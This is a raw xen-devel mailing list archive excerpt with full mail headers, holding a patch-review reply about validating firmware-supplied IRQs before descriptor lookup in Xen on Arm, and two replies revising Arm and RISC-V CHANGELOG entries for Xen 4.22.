Hi Michal,

Thank you for the review.

On Fri, Jul 10, 2026 at 12:10:50PM +0200, Orzel, Michal wrote:
> 
> 
> On 10-Jul-26 10:31, Mykola Kvach wrote:
> > With GICv3 eSPI support, nr_irqs covers the architectural INTID
> > namespace up to ESPI_MAX_INTID. That namespace is not backed by a
> > single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
> > espi_desc[], and the INTIDs in between must not be treated as
> > descriptor indices.
> > 
> > A firmware-provided interrupt in the sparse range can therefore pass
> > checks based only on nr_irqs and reach irq_to_desc().
> What are the possible consequences? You should explain it in the commit msg.
> Also, what is your criteria behind protecting irq_to_desc()? There are other
> places, where we have unprotected irq_to_desc(). Last but not least I think we
> should have an ASSERT in __irq_to_desc() to prevent the indexing failure if we
> end up there with a sparse IRQ accidentally.

I reproduced this on FVP by adding a fake DT interrupt with reserved
INTID 3000. This was deliberately malformed fault injection. The only
architecturally allocated interrupt class in the 1024-4095 gap is ePPI,
which Xen does not currently support. The resulting out-of-bounds access
to irq_desc[] may corrupt Xen memory or crash the hypervisor.

There is also a non-synthetic case with CONFIG_GICV3_ESPI=n. An
architecturally valid eSPI described in DT reaches:

    platform_get_irq() -> irq_set_type() -> irq_set_spi_type()

Previously, irq_to_desc() was called before validation, while no
espi_desc[] was compiled in. Moving the lookup after gic_is_spi() makes
Xen reject the interrupt with -EINVAL instead.

My criterion is to validate externally supplied IRQs at entry points
which can return an error. The remaining callers use fixed,
GIC-reported, or previously validated IRQs.

I will also add:

    ASSERT(irq < NR_IRQS);

in __irq_to_desc(), after the optional eSPI lookup and immediately before
indexing irq_desc[].

Best regards,
Mykola


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 11:25:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 11:25:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359160.1612876 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9MP-0005ga-Oz; Fri, 10 Jul 2026 11:25:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359160.1612876; Fri, 10 Jul 2026 11:25:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9MP-0005gT-Ll; Fri, 10 Jul 2026 11:25:37 +0000
Received: by outflank-mailman (input) for mailman id 1359160;
 Fri, 10 Jul 2026 11:25:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi9MO-0005gN-Li
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:25:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi9MO-000R9X-2J
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:25:36 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50d6a9-5cb7-0a2a0a5109dd-0a2a450bc746-26
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:25:36 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50d6af-b7da-0a2a450b0019-d1558036d1b9-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:25:36 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493f60208a5so2953165e9.3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 04:25:35 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb742d0esm131335925e9.13.2026.07.10.04.25.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 04:25:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783682735; x=1784287535; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ZWiWu4LZidz72Cc3wAV2k6Xwhx8sLz2nMcp5QPU7/78=;
        b=sEQCBRVpU6lNJTEz+rcFL3U5QHjdUIJCb0o3jLdLnqSnn0jLyie2cEbZoMP77/K5WG
         XUGE/CI/SD52SoDJf3Io67SXMc4PC43Oh7gEnLyHmyeyU6ALOgoqBabYjCeHogVLjl7/
         QMr+g/n7l4GaqSQGslazdJ4wbcqqBiSJXp2QYdOjgLeQ9t6Hw8prs1mKWxq3kNCzyRAO
         D33+93psonQEvMkjxKrzdDZWD4fRwgGGa6CkmrWZsekmgN3E6hSxfRFQt6Dqpv/Bguzc
         8wR9cF8dOsIN5GF/Izpsj6YtUZ4vkhgMyPS92HILmWTSkN029dUYW0nbFcdBfnwQGd81
         d1mw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783682735; x=1784287535;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZWiWu4LZidz72Cc3wAV2k6Xwhx8sLz2nMcp5QPU7/78=;
        b=lCXSYrfln4VFcOM9y3CIeqWKCG4Z9fk7ted9njQRpIzAFgJDhUt8O4ckFDDHxhTVgb
         /VdQEbPs9etpa/qJ79ih0bsykRPzVqpcBA1aA551HideBz3WP/e1AdVSshBG4oL+j4Tu
         VwKH6NgOIpMYUT41OwDLwmFaV9ZjepknJVZOoVyRvldanhlu7u0a6/32iKG3O6DgdVjW
         DUngf4CddEGRwcNuYRRi+U1y8WmfnT45WQ5VEiNmwPe3NlZh/7w5LfgjL6lWxbA5AC6G
         sVdxIc7kNis/pMAJYAsrMLaDhZ114DGcY6RM9ULbS/wTF8+dJ+NbM2QucLkYoyGTF29G
         TUJA==
X-Forwarded-Encrypted: i=1; AHgh+RqBLy/ysivwuCfiKpbVut0EMUGodpCYE1AGjl/VSpDzMPg1oXsL8iJuC0oAChFAdHTfU9m8Upl4qC4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzHXUHAWfOUMERoteYnbVp5fOeuR2dD5iIqiXx1m9Qu/r9E7iN3
	RFbQ0sCJuqulrFKgXxMEp2wzoowpDOHw/DGbKth+biGfjHnLikTxi/W6
X-Gm-Gg: AfdE7ckeKod8hX+G7cc2tb/EDmt+ttKRy3RaPCmJtm1L9aZGVgYN9YkHV5XMxKX4yKI
	JGPCO4/CPQCOit89mYysqR5XR2eFr3GBt0bqaJvNs554W7Ltj0QZM+M9wZpRdu6UviSKS9oVlEh
	klwIEMqoNBGnbq/fqTKD5N94eSLCZbzipdFGsonXlj5zmQhDjgWfjfnqqAyjEeCoUfa3LSuqweh
	XHNLy/ASfbWbZ83mRp9x3Q3K5TPhVGh4E6L4optIRwUsAXXRrtFgGUTdqL1yCpicQPiUJJyzGtM
	QUbvy7N0Q3oBFb7ZioM/cMkTeMDrr1Rq4lk+JN7FBroMB5f61dg8o5wKYskGx1095HBBzex2Z3L
	VeiHxzVUrMR4YaWXymRMs4XZ926gMlCK2qO6tq88+2tfXzKbBzV0FBP9skgvCm9gn+4wbMb9+6w
	wJqRoQ1lkQNwbMEFdsvRsn06IMXCYaYx8SBqwSL7ZukFkIVA41foKy6fWH6ZhrHn0Fhko=
X-Received: by 2002:a05:600c:e558:10b0:493:e57e:7aa5 with SMTP id 5b1f17b1804b1-493e68c6e63mr75459725e9.22.1783682735266;
        Fri, 10 Jul 2026 04:25:35 -0700 (PDT)
Message-ID: <9ab043fc-44c8-48db-821c-52be4d08fd17@gmail.com>
Date: Fri, 10 Jul 2026 13:25:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
To: Jan Beulich <jbeulich@suse.com>
Cc: Community Manager <community.manager@xenproject.org>,
 "committers @ xenproject . org" <committers@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
 <e120d275-ec94-41cc-9c54-43966cc18dd8@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e120d275-ec94-41cc-9c54-43966cc18dd8@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783682736-4A3749ED-7BF2D81A/10/73395122804
X-purgate-type: spam
X-purgate-size: 1485



On 7/10/26 12:07 PM, Jan Beulich wrote:
> On 10.07.2026 11:45, Oleksii Kurochko wrote:
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> ---
>>   CHANGELOG.md | 9 +++++++++
>>   1 file changed, 9 insertions(+)
>>
>> diff --git a/CHANGELOG.md b/CHANGELOG.md
>> index 356be88351a9..c6f1fcf5aeec 100644
>> --- a/CHANGELOG.md
>> +++ b/CHANGELOG.md
>> @@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>>    - On Arm:
>>      - Support for guest suspend and resume to/from RAM via vPSCI.
>>        Applies only to non-hardware domain guests.
>> +   - Armv8-r MPU support.
>> +   - Drop ThumbEE support.
>> +   - FF-A v1.2 Support.
>> +
>> + - On RISC-V:
>> +   - SSTC extension support for Xen (not for guest yet)
>> +   - Add support of CONFIG_DOMAIN_BUILD_HELPERS which allows to load Linux
>> +     kernel, initrd and allocation related things for domain when device-tree
>> +     is used.
> 
> The first item maybe (with - nit - a full stop added). 

I will add it.

> The second item I'm
> having a hard time seeing how it could be relevant to anyone, until guests
> can actually be created / started in at least a minimalist way.

It shows that we are progressing on that way to boot guest. Maybe the 
following rewording of this item would be better:
   Introduce domain build helpers for device tree-based domains, laying 
the groundwork for guest boot support.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 11:26:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 11:26:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359168.1612886 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9NF-000689-0d; Fri, 10 Jul 2026 11:26:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359168.1612886; Fri, 10 Jul 2026 11:26:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9NE-000682-Ti; Fri, 10 Jul 2026 11:26:28 +0000
Received: by outflank-mailman (input) for mailman id 1359168;
 Fri, 10 Jul 2026 11:26:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi9ND-00067Y-CN
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:26:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi9NC-006pqH-Pb
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:26:26 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50d6da-bab6-0a2a0a5309dd-0a2a450adc80-12
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:26:26 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50d6e2-ec7d-0a2a450a0019-d155dd36ec62-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:26:26 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-476a130c138so1070384f8f.0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 04:26:26 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d905sm61582537f8f.2.2026.07.10.04.26.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 04:26:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783682786; x=1784287586; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=roHfoKY7HntEv0Nol7JJSWwvaHOCTXiLMWYh7AxYHmU=;
        b=PqBU14Q98WRq0nf9GuzTo51vnVTKsyXrp5C7veUpVlGY9jCoTS9F9l6mkYZ36MULJ/
         fkXsQBx9ircQK/MgI8WWZ/s2ZfMg8DNZK1+VOGs5GkDqsPOm8sAOJdQLG6v7UR1HcMR5
         VEd/hrHfiPcu63rmpnn1jxp+Von+0C5y4rkrFV49AeGqn2yOeZh3LALn37P3Ocstpeqn
         bICgIHiU4205tHVlj9Z08eK/1cWqfyqUSNhW9ZIbtbFsFAKjnwvpjcvJZ871nbI3n8bB
         ZNwyt1qAHlFkszGuEq5RIJMee+hwikp1JaDbEzQPxEAZpbmQaFeD2aOXSJzKld52vZrU
         /j1w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783682786; x=1784287586;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=roHfoKY7HntEv0Nol7JJSWwvaHOCTXiLMWYh7AxYHmU=;
        b=GcZA0pyGG3JN2Ear5VlD6+EbpasSFMujfpXsu+6pLmJPi5/xTUHWtx3IoEWAp+YXvk
         mfyP2Rh7ifFzHG5fO+4uLUbbghPXaY7yxRY2lTjLdRAYLpF6RITJVrWArg0QPxsRRtLs
         ezArxXZS7tZr6m3l1dB0/1FWpXmNkd89K+TEmVhoei1WHUj5amByMtAo6/Dv+mBjwclV
         ffgbrL2f5UeNARbMx6nb3XT+PQJYW9SVwQTOD952yrYtqofG7G0A3gORcSAekC9Tz3rT
         VSn2BHQCamkw5pB9Cyf8U0syOkfsJ4qTUgpg2eCxpaYmViWMqcABbGo4KdWJPHHJ6qJ6
         1cxw==
X-Forwarded-Encrypted: i=1; AHgh+Rq3tsdKT2lU6NlCSlYlBGDHvIZnXva2jOpECoKZYBaEJ9asp40idraUKYKZfM6Ac375ev3OOmnNW4Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzKQoJ2EWuf2UkZtWEJ8RiOntPICv1GoGblvPoaN8n0ugpf4RPL
	5777HfpQXmOjNNCtBAfEZTViOLsChY4wJ/7TZlOlY2Huk45ewfYy5RCx
X-Gm-Gg: AfdE7ck/1Qy8kXGhtBxnBqLe/Ne4N57x8qCMKsAbHvDA6YpufxhwsQkvKKKJx28EtoB
	gRSQKFVc8/hzQtbjfcJJUKI/d/sHUeVFERpmIa7GeB4x8HkpPj8sGy0C0pm/adGWnfNsgWT4i9j
	u8JLvwWU3otnCoGg65ejE1B5iQPKO7rKmmk0C9hoTMNkMTY8cmjzLByHNwq2jUE8IvJJOLAFPZB
	DZasmZu6u23DReW2wRWVq9jIaRxPmeQ8wQ58eXm1xzbjt6xxhbLtCWRdCQY0cZe8oVrnGKOIJC7
	fMtWXalqtwipqVtItxARiAUakw8gKUPtqBDp2zkj5qucIBgt2LzDEBsSr8I2j/pNE3tAVJpAy4T
	7lCrrJowThW5mHTfS8PTrpcXYRErmUhNzns3JOuhcxAvYO2HtudnrMiiMmCn56Xt0XSmRHR0M7l
	d2SaS0hYMbHHA5zDxJWW5VnejzzmWFHwO5/MrVFWTdcaDot4KkNmiEEuOx5VJ951UJ3vI=
X-Received: by 2002:a05:6000:2586:b0:470:390c:1e73 with SMTP id ffacd0b85a97d-47df071eabemr12540466f8f.18.1783682786105;
        Fri, 10 Jul 2026 04:26:26 -0700 (PDT)
Message-ID: <8fbec12c-1151-477e-aed7-4718edee0ec1@gmail.com>
Date: Fri, 10 Jul 2026 13:26:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
To: "Orzel, Michal" <michal.orzel@amd.com>, xen-devel@lists.xenproject.org
Cc: Community Manager <community.manager@xenproject.org>,
 "committers @ xenproject . org" <committers@xenproject.org>
References: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
 <64a5b0c9-7cd1-4017-91b6-fabe6321da9f@amd.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <64a5b0c9-7cd1-4017-91b6-fabe6321da9f@amd.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783682786-AC34D248-B557C207/10/73395122804
X-purgate-type: spam
X-purgate-size: 988



On 7/10/26 12:16 PM, Orzel, Michal wrote:
> 
> 
> On 10-Jul-26 11:45, Oleksii Kurochko wrote:
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> ---
>>   CHANGELOG.md | 9 +++++++++
>>   1 file changed, 9 insertions(+)
>>
>> diff --git a/CHANGELOG.md b/CHANGELOG.md
>> index 356be88351a9..c6f1fcf5aeec 100644
>> --- a/CHANGELOG.md
>> +++ b/CHANGELOG.md
>> @@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>>    - On Arm:
>>      - Support for guest suspend and resume to/from RAM via vPSCI.
>>        Applies only to non-hardware domain guests.
>> +   - Armv8-r MPU support.
> It reads as if we completed the support which we didn't. We are just progressing
> towards that. Maybe something like "Continued Armv8-R MPU enablement".
> 
>> +   - Drop ThumbEE support.
>> +   - FF-A v1.2 Support.
> s/Support/support/ to match above.
> 

I will apply all the suggestions.

Thanks!

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 11:48:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 11:48:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359207.1612894 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9iR-0000m2-NE; Fri, 10 Jul 2026 11:48:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359207.1612894; Fri, 10 Jul 2026 11:48:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9iR-0000lv-KM; Fri, 10 Jul 2026 11:48:23 +0000
Received: by outflank-mailman (input) for mailman id 1359207;
 Fri, 10 Jul 2026 11:48:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi9iQ-0000lp-3r
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:48:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi9iP-006FNh-GR
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:48:21 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50dbfb-e002-0a2a0a5209dd-0a2a4506ecaa-18
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:48:21 +0200
Received: from [52.101.84.130]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50dc05-0835-0a2a45060019-346554828801-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 13:48:21 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by DU2PR03MB7927.eurprd03.prod.outlook.com (2603:10a6:10:2da::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 11:48:18 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 11:48:18 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=XnrcGPUWrO8UwJAhM2HIRQhusMnvjeEiUQ3hwL5t7vtPgH+bvLt9Ifrx5NmjY+5EVeMphaucZc5RFSb1iZvo1XTsGOAYjBtCncU5XmdVq6o6OHpTAD07IqoxaHrF8bJLo6sk+nWOlBFZ4x/SU0SbFwcMGHUb1FN62bjqYVr/JLqvjdxvk555wuntkwVCGC3Ytg3M+Wb11tawVJd9+Ft08ChQi1YjFH4RlEl+dfhl7hUB5xwDz1aLKgSrZHKyaEJZqFbOXiWtYsBNm8KtKs6Yqssogs704lDIWqv/x+ar4OQfWxBJRqpMP/2ccQj4pN52dULXqRRsPbkFLxvE9L7yDA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Gc9m+btl+oEKpV/nf/s1JzhByZUao75FbmBmv4o57Wo=;
 b=YUyEVA8Snwr+7AaKyfn3v6oL1uUToH1gRWQXFyoEKuoBpp5pVHV3xRPX7iQ6uI4+020YvrirNQQRCDg7fAQz4/INGpMUclZ/+r1Udh0ex70oFvVhi5IEWQIBEO6PhkOmxkcJWOzYZL1l9wQc/tY+F9+jk1REL61SknCwNMMOaAXOn4bvO/sgJlN7l4H6hKtYKIZ52ZWfcuWTcYGp1DzW0DlLmVba4TOLJpSBPNYHT40TG+o/RiekrYwJ6ztmwPAZuFdYSiueutmd+iMb9urUdbfbw648LvxS4cqi+vlAWtcNFc4i3PKd6zxNmy7JdctNyBi8EOyOu44BjftFQl+jwA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Gc9m+btl+oEKpV/nf/s1JzhByZUao75FbmBmv4o57Wo=;
 b=o4Zf9LM2dynbpNwGgkTHt82FFwOJT7zuNCilwhbeFRpfEJwkvCt5bDrJcHy6PwbLjjJDEgSADBRaW4XpKp1yrEZ1ItZND5mP/r3VOwz8r/Wp6lRrOA9L8uuVuyvAx80GXHlKw5t7sYLMvcPcPEWzFO/AxFOzmq+RIGiODu/gUAF3CtYhTt62daLwcsJHI1Bpj6mxWGiSVLJVK3TNFwn1PylaNdXs/DHivkMOwEHn26Te6i5SkyY1XyBOm2U5yF+/ZJsbZ4QHo7IVMuKdrQijqWpf3Ur4nku1Z6yGfBxHuox5dT+oAJ4svt9Eg6Ghhtlbgv/O6DnJYfClSzZyC2tgxQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
Date: Fri, 10 Jul 2026 14:48:13 +0300
From: Mykola Kvach <mykola_kvach@epam.com>
To: "Orzel, Michal" <michal.orzel@amd.com>
Cc: xen-devel@lists.xenproject.org, 
	Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
	Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
Message-ID: <u46k277cxsw53rb2d4pnxksbbwr35rjp54vwxqm2phbrp2ywll@etlvezzojxvi>
Mail-Followup-To: "Orzel, Michal" <michal.orzel@amd.com>, 
	xen-devel@lists.xenproject.org, Stefano Stabellini <sstabellini@kernel.org>, 
	Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, 
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
 <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
X-ClientProxiedBy: WA0P291CA0020.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::17) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|DU2PR03MB7927:EE_
X-MS-Office365-Filtering-Correlation-Id: d6aaef40-1d86-4b8a-f772-08dede79225d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|23010399003|1800799024|18002099003|22082099003|6133799003|11063799006|4143699003|56012099006|27256017;
X-Microsoft-Antispam-Message-Info:
